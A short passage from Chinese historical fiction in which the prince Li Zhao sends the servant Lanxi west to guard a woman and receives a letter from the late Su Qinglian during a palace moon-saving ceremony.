李昭听兰兮说完,许久都没有说话,最后只道,“想办法跟着方星曜去西部,护她周全。” “属下遵命。”兰兮擦了把眼泪,从怀中取出一封信递给李昭。“夫人不知何时猜到我是殿下的人,临终前托我将这封信带给殿下。” “下去吧。”李昭展开苏青莲的信,看了许久。 宫中传来救月大典“咚——”,“咚——”的金鼓声,直到亥时礼成方才停歇。